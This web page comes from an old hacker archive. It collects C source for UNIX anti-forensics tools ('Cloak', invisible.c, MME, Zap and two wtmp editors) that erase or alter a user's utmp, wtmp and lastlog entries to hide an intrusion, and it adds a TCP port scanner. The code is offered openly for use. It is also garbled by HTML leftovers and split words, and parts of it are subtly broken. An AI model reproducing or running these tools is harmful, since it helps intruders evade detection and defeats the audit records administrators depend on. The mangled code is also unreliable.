Other UNIX system utilities 

Topics:
Cloak v1.0 Wipes Your Presence on SCO, BSD, Ultrix, and HP/UXUNIX
invisible.c  Makes You invisible, and Works on Some SunOSWithout Root
SySV Program That Makes You Invisible
UNIX Port Scanner
Remove wtmp Entries By tty Number or Username
SunOS wtmp Editor
SunOS 4+ Zap Yourself From wtmp, utm p and lastlog

Cloak v1.0 Wipes Your Presence on SCO,BSD, Ultrix, and HP/UX UNIX

------------------ cut here

/* UNIX Cloak v1.0 (alpha)  Written by: Wintermute of -Resist- */
/* T his file totally wipes all presence of you on a UNIX system*/
/* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */
/* is compatible..  This file is for information purposes ONLY!*/

/*--> Begin source...    */< BR>#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <lastlog.h>

main(argc, argv)
    int     argc;
    char    *argv[];
{
    char    *name;
    struct utmp u;
    struct lastlog l;
    int     fd;
    int     i = 0;< BR>    int     done = 0;
    int     size;

    if (argc != 1) {
         if (argc >= 1 &&strcmp(argv[1], "clo akme") == 0) {
      printf("You are now cloaked\n");
      goto start;
                    &nbs p;                                     }
    &n bsp;    else {
       printf("close successful\n");
       exit(0);
       }
     }
    else {
&n bsp; printf("usage: close [file to close]\n");
  exit(1);
  }
start:
    name = (char *)(ttyname(0)+5);
    size = sizeof(struct utmp);

    fd = open("/etc/utmp", O_RDWR);
&nb sp;   if (fd < 0)
 perror("/etc/utmp");
    else {
 while ((read(fd, &u, size) == size) && !done) {
     if (!strcmp(u.ut_line, name)) {
  done = 1;
  memset (&u, 0, size);
  lseek(fd, -1*size, SEEK_CUR);
  write(fd, &u, size);
  close(fd);
     }
 }
    }


    size = sizeof(struct lastlog);
   ;  fd = open("/var/adm/lastlog", O_RDWR);
    if (fd < 0)
 perror("/var/adm/lastlog");
    else {
 lseek(fd, size*getuid(), SEEK_SET);
 read(fd, &l, size);
 l.ll_time = 0;
 strncpy(l.ll_line, "ttyq2 ", 5);
 gethostname(l.ll_host, 16);
 lseek(fd, size*getuid(), SEEK_SET);
 close(fd);
    }
}
---------------cut here

invisible.c  Makes You invisible,and Works on Some SunOS Without Root


----------- cut here
/* invisible.c - a quick hack courtesy of the rogue */
/* erases your presence when root, or partially erases when on a sun andnot root */
/* peac e, dudes */


#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <lastlog.h>

main(argc, argv)
    int     argc;
    ch ar    *argv[];
{
    char    *name;
    struct utmp u;
    struct lastlog l;
    int     fd;
    int      i = 0;
    int     done = 0;
    int     size;

    name = (char *)(ttyname(0)+5);
    size = sizeof(struct utmp);
 
    fd = open("/etc/utmp", O_RDWR);
    if (fd < 0)
 perror("/etc/utmp");
    else {
 while ((read(fd, &u, size) == size) && !done) {
     if (!strcm p(u.ut_line, name)) {
  done = 1;
  memset(&u, 0, size);
  lseek(fd, -1*size, SEEK_CUR);
  write(fd, &u, size);
  close(fd);
     }
 }
    }
  &n bsp; memset(&u, 0, size);
    fd = open("/var/adm/wtmp", O_RDWR | O_TRUNC);
    if (fd < 0)
 perror("/var/adm/wtmp");
    else {
 u.ut_time = 0;
 strcpy(u.ut_line, "~");< BR> strcpy(u.ut_name, "shutdown");
 write(fd, &u, size);
 strcpy(u.ut_name, "reboot");
 write(fd, &u, size);
 close(fd);
    }


    size = sizeof(struct lastlog);
& nbsp;   fd = open("/var/adm/lastlog", O_RDWR);
    if (fd < 0)
 perror("/var/adm/lastlog");
    else {
 lseek(fd, size*getuid(), SEEK_SET);
 read(fd, &l, size);
 l.ll_tim e = 0;
 strncpy(l.ll_line, "ttyq2 ", 5);
 gethostname(l.ll_host, 16);
 lseek(fd, size*getuid(), SEEK_SET);
 write(fd, &l, size);
 close(fd);
    }
 
}
----------- cut here

SySV Program That Makes You Invisible

--------- cut here

/* MME - MakeME, Version 1.00 for SySV / Source Compatible machines
         MME will allow you t oremove yerself from the UTMP file, change
         what name appears foryou in UTMP, or change what TTY you appear
         to be on.

If you modify this program or incorporate some of these routines into
another program, please somewhere in the program tell where you got
them from.. namely, put in some credits to me & This program , so
you don't "playgerize".  It makes me mad when someone modifi es someone
else's work then pawns it off as their own original piece.  The credits
can even be in a comment somewhere in the source instead of visual to
the user.

syntax:
mme
mme login_name
mme login_name new_tty

in or der to change tty name, you must first supply a login name
then a ttyname.

You MUST have write perm's to /etc/utmp to modify the main utmp file.
*/

#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <utmp.h>
#include <sys/stat.h>

char *mytty; /* For an exact match of ut_line */
char *backup_utmp = "cp /etc/utmp /tmp/utmp.bak";
struct utmp *user;

main(argc,argv)
int argc;
char *argv[];
{
   &nbs p;    int good= 0,cnt = 0,start =1,cn = 0, cl = 0,index = 0;
        char err[80];
        if (argc >= 2) cn = 1; 
        ; if (argc == 3) cl = 1;
        system(backup_utmp);
    printf("Welcome to MME 1.00 By Sir Hackalot\n");
    printf("Another PHAZESOFT Productions\n");
    print f("Status:");
    if (cn == 1) printf("Changing your login to %s\n",argv[1]);
        if (cl == 1) printf("Changingyour tty   to %s\n",argv[2]);
        ; if (cl == 0 && cn ==0) printf("Removing you from utmp\n");
        utmpname("/etc/utmp");

/* The Below Section finds OUR entry, even if more than 1 of the same name
   of us is logged on.   It finds YOUR tty, looks in utmpuntil it finds
   your tty, then "cnt" holds your index number */
 
        mytty = strrchr(ttyname(0),'/');/* Goto the last "/" */
   &nbs p;    strcpy(mytty,++mytty); /* Makea string starting one pos greater */
        while (good != 1) {
               user = g etutent();
               cnt++;
               if (strcmp(user->ut_line,mytty) == 0) good =1;
& nbsp;       }
        utmpname("/etc/utmp"); /* Resetfile pointer */
        for(start = 0;start < cnt;start++){
                user = getutent(); /* Move the file pointer to where we are */
        }

        /* Below: If we did not supplya co mmand line arg to change name, etc,
          make us invisiblefrom WHO.  WHO only displays USER_PROCESS
          types, as does "w","whodo" and all who variations.  You WILL
          be seen if theydo who -l (or one some systems -L)
          if we did supplyan argument make SURE we DO show up. */

        if (argc == 1)  user->ut_type= LOGIN_PROCESS; /* Become invisible */
        else user->ut_type = USER_PROCESS;

        /* ABo ve: You can change itto:
         else {
         user->ut_type = LOGIN_PROCESS;
         strcpy(user->ut_name,"LOGIN");
&n bsp;        }
          to totally hideyour-self.  On some systems, if you do it, it will go
          thru the login p rocess...But that is rare.  AT any-rate, for
          safety, i left outthe strcpy */

        /* Below: If we entered a newlogin name, change to that.
  ;         If we entered anew tty, change to that. */

        if (argc == 2) strcpy(user->ut_name,argv[1]);
        if (argc == 3) strcp y(user->ut_line,argv[2]);
        pututline(user); /* Rewriteour new info */
        endutent(); /* Tell the utmpfunctions we are through */
       ;  printf("Delete /tmp/utmp.bakif all is well. Else, copy it to /etc/utmp\n");
}

----------- cut here

UNIX Port Scanner


----------- cut here

/*
 * internet port sc anner
 *
 * This program will scan a hosts TCP ports printing all ports thataccept
 * connections, and if known, the service name.
 * This program can be trivially altered to do UDP ports also.
 *
 * Kopywro ng (K) Aug. 25, '94 pluvius@io.org
 *
 * Hey kiddies, this is a C program, to run it do this:
 * $ cc -o pscan pscan.c
 * $ pscan <host> [max port]
 *
 * No, this will not get you root.
 *
&nbs p;* Changes:
 * Changed fprintf to printf in line 34 to work with my Linux 1.1.18box
 * Netrunner 1/18/95 11:30pm
 *
*/
static char sccsid[] = "@(#)pscan.c     1.0    (KRAD) 08/25/94";< BR>#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define MAX_PORT 1024 /* scan up to this port */
int s;
struct sockaddr_in addr;
char rmt_host[100];

int skan(port)
int port;
{
 int r;
    s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s < 0) {
       /* fprintf("ERROR: socket() failed\n");*/
        /* Changed to printf for my Linux1.1.18 box */
       printf("ERROR: socket() failed\n");
       exit(0);
    }

    ad dr.sin_family = PF_INET;
    addr.sin_port = port;
    addr.sin_addr.s_addr = inet_addr(rmt_host);

    r = connect(s,(struct sockaddr *) &addr, sizeof(addr));

    close(s) ;

    if (r < 0) {
       return (1 == 0);
    }

    return (1 == 1);
}

main(argc,argv)
int argc;
char *argv[];
{
 int a,b,c,d,e,f ;
 struct hostent *foo;
 struct servent *bar;

   if (argc < 2) {
      fprintf(stderr,"usage: %s <host> [highestport]\n",argv[0]);
      exit(0);
   ; }

   if (sscanf(argv[1],"%d.%d.%d.%d",&a,&b,&c,&d)!= 4) {
      foo = gethostbyname(argv[1]);
      if (foo == NULL) {
          fprintf(stderr,"error:cannot resolve host %s\n",argv[1]);
         exit(0);
      }
      sprintf(rmt_host,"%d.%d.%d.%d",(unsignedchar )foo->h_addr_l ist[0][0],
             (unsigned char ) foo->h_addr_list[0][1],
             (unsigned char ) foo->h_addr_list[0][2],< BR>             (unsigned char ) foo->h_addr_list[0][3]);
   } else {
      strncpy(rmt_host,argv[1],99);
   }


   i f (argc > 2) {
      f = atoi(argv[2]);
   } else
      f = MAX_PORT;

   fprintf(stdout,"Scanning host %s - TCP ports 1 through %d\n",rmt_host,f);

   fo r (e =1;e<=f;e++) {
    char serv[100];
      if (skan(e)) {
         bar = getservbyport(e,"tcp");
         printf("%d (%s) is running.\n",e,(bar== NULL) ? "UNKNOWN" :
               bar->s_name);
      }
   }
}

------------ cut here

Remove wtmp Entries By tty Number or Username


---------- cut here


/* This program removes wtmp entries by name or tty number */

#include <utmp.h>
#include <stdio.h>
#include <sys/file.h>
#include <sys/fcntlcom.h>

void usage(name)
char *name;
{
    printf("Usage: %s [ user | tty ]\n", name);
    exit(1);
}

void main (argc, argv)
int argc;
char *argv[];{
    struct utmp utmp;
    int size, fd, lastone = 0;
    int match, tty = 0, x = 0;

    if (argc>3 || argc<2)
       usage(argv[0]);

    if (strlen(argv[1])<2) {
       printf("Error: Length of user\n");
       exit(1);
    }

    if (argc==3)
    ;    if (argv[2][0] == 'l') lastone = 1;

    if (!strncmp(argv[1],"tty",3))
       tty++;

    if ((fd = open("/usr/adm/wtmp",O_RDWR))==-1) {
   & nbsp;    printf("Error: Open on /usr/adm/wtmp\n");
        exit(1);
    }

    printf("[Searching for %s]:  ", argv[1]);

    if (fd >= 0 )
    {
       size = read(fd, &utmp, sizeof(structutmp));
       while ( size == sizeof(struct utmp))
       {
   & nbsp;      if ( tty ? ( !strcmp(utmp.ut_line,argv[1]) ) :
            ( !strncmp(utmp.ut_name,argv[1], strlen(argv[1])) ) &&
              lastone != 1)
          {
            if (x==10)
        &n bsp;      printf("\b%d", x);
            else
            if (x>9 && x!=10)
                printf("\b\b%d", x);
            else
            & nbsp;  printf("\b%d", x);
            lseek( fd, -sizeof(struct utmp), L_INCR );
            bzero( &utmp, sizeof(s truct utmp) );
            write( fd, &utmp, sizeof(struct utmp) );
            x++;
      & nbsp;   }
          size = read( fd,&utmp, sizeof(struct utmp) );
       }
    }
    if (!x)
    &nbs p;  printf("No entries found.");
    else
       printf(" entries removed.");
    printf("\n");
    close(fd);
}

------------- cut here

SunOS wtmp Editor


---------- cut here

/*
   /var/adm/wtmp editor for Sun's
   Written by gab, this will make a file wtmp.tmp then just copy
   it over /var/adm/wtmp and chmod 644 it
*/
 
#include <stdio.h>
#include <utmp.h>
#include <fcntl.h>
main(argc,argv)
int argc;
char *argv[];
{
int fp=-1,fd=-1;
struct utmp ut;
int i=0;
char name[8];
if (argc!=2) { fprintf (stderr,"usage: %s accountname\n\r",argv[0]); exit(2);}
strcpy(name,argv[1]);
if (fp=open("/var/adm/wtmp",O_RDONLY)) {
        fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
      &n bsp; while (read(fp,&ut,sizeof(structutmp))==sizeof(struct utmp)) {
               if (strncmp(ut.ut_name,name,strlen(name))) write(fd,&ut,sizeof(structutmp));
                i++;
        }
        close(fp);
        close(fd);
& nbsp;       }
printf("Total: %d\n\r", i);
}
------------ cut here

SunOS 4+ Zap Yourself From wtmp, utmpand lastlog


-------------  cut here

/*< BR>      Title:  Zap.c (c) rokK Industries
   Sequence:  911204.B
 
    Syztems:  Kompiles on SunOS 4.+
       Note:  To mask yourself fro mlastlog and wtmp you need to be root,
             utmp is go+w on default SunOS, but is sometimes removed.
    Kompile:  cc -O Zap.c -o Zap
   & nbsp;    Run:  Zap <Username>
 
       Desc:  Will Fill the Wtmp andUtmp Entries corresponding to the
             ent ered Username. It also Zeros out the last login data for
             the specific user, fingering that user will show 'Never Logged
        &nb sp;    In'
 
      Usage:  If you cant find a usage forthis, get a brain.
*/
 
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <utmp.h>
#include <lastlog.h>
#include <pwd.h>
 
int f;
 
void kill_tmp(name,who)
char *name,
     *who;
{
    struct utmp utmp_ent;
 
  if (( f=open(name,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))>0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))){
         & nbsp;      bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
   &n bsp;            write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}
&nbs p;
void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;
 
     if ((pwd=getpwnam(who))!=NULL) {
 
      & nbsp; if ((f=open("/usr/adm/lastlog",O_RDWR)) >= 0) {
            lseek(f,(long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzer o((char*)&newll,sizeof( newll ));
            write(f,(char *)&newll, sizeof( newll ));
            close(f);
         }
 
    } else printf("%s: ?\n",who);
}
 
main(argc,argv)
int  argc;
char *argv[];
{
    if (argc==2) {
        kill_tmp ("/etc/utmp",argv[1]);
        kill_tmp("/usr/adm/wtmp",argv[1]);
        kill_lastlog(argv[1]);
        printf("Zap!\n");
  &nb sp; } else
    printf("Error.\n");
}
------------ cut here


Back to Index